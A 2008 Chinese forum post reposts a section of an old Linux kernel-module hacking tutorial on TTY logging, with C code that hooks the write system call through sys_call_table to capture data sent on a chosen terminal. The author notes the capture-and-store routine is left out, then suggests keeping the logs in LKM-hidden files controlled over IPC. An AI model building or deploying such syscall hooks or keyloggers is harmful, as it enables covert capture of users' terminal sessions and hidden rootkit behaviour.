|
楼主 |
发表于 2008-11-13 15:35:13
|
显示全部楼层
我在网上搜到了一篇文章,先发上来给大家瞧瞧,大家看行不?
//-----------------------------------------------------------------------
http://cache.baidu.com/c?m=9f65c ... 365c&user=baidu
2.7 TTY纪录的方法
纪录TTY是十分有趣的而且从很久以前就开始使用了,我们可以获得我们通过主值或者附值指定的TTY的每一个输入,在Phrack 50 halflife公布了一种十分好的LKM来做这个。
下面的代码是从他的LKM中摘抄的.他可以给每一个初学者演示TTY入侵的基本知识,尽管这并不是一个完整的实现.你不能直接使用他.因为我没有实现一个纪录用户TTY输入的的方法.这不过是给那些想懂得基础知识的人的.
好了,让我们继续:
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- #include <asm/io.h>
- #include <sys/sysmacros.h>
- int errno;
- /*我们想纪录的TTY*/
- int tty_minor = 2;
- int tty_major = 4;
- extern void* sys_call_table[];
- /*我们需要write系统调用*/
- static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
- void *original_write;
- /*检查是否是我们需要的TTY*/
- int is_fd_tty(int fd)
- {
- struct file *f=NULL;
- struct inode *inode=NULL;
- int mymajor=0;
- int myminor=0;
- if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
- return 0;
- mymajor = major(inode->i_rdev);
- myminor = minor(inode->i_rdev);
- if(mymajor != tty_major) return 0;
- if(myminor != tty_minor) return 0;
- return 1;
- }
- /*这是新的write(2)系统调用*/
- extern int new_write(int fd, char *buf, size_t count)
- {
- int r;
- char *kernel_buf;
- if(is_fd_tty(fd))
- {
- kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);
- memcpy_fromfs(kernel_buf, buf, count);
- /*在这里你可以将输出缓存输出到任何你想要的地方,他表示着每一个被你选定的TTY设备的输入.我没有实现这个例行的过程,因为在附录A你会发现一个完整的很好的由halflife实现的TTY入侵工具*/
- kfree(kernel_buf);
- }
- sys_call_table[SYS_write] = original_write;
- r = write(fd, buf, count);
- sys_call_table[SYS_write] = new_write;
- if(r == -1) return -errno;
- else return r;
- }
- int init_module(void)
- {
- /*你必须已经理解这个了*/
- original_write = sys_call_table[SYS_write];
- sys_call_table[SYS_write] = new_write;
- return 0;
- }
- void cleanup_module(void)
- {
- /*不再记录了*/
- sys_call_table[SYS_write] = original_write;
- }
复制代码
注释会使得这些代码很容易被读懂.总体上的思路是截获sys_write(见 2.4.2)并且过滤我在2.4.2中提到的fd.在检查了fd的TTY是否是我们想跟踪的以后,我们就可以获得写入的数据并且将这些数据写入我们的纪录文件中(在上面的代码中没有实现).有好几种方法可以存储这些数据.halflife使用一个缓冲区(可以从我们自己的设备中获得),这是一个好主意(他也可以控制他的程序,通过ioctl命令来控制它的设备).
我个人推荐将这些数据存储在(被LKM)隐藏的文件中.并且用某种IPC来控制他.使用能够在你控制的系统中使用的方法. |
|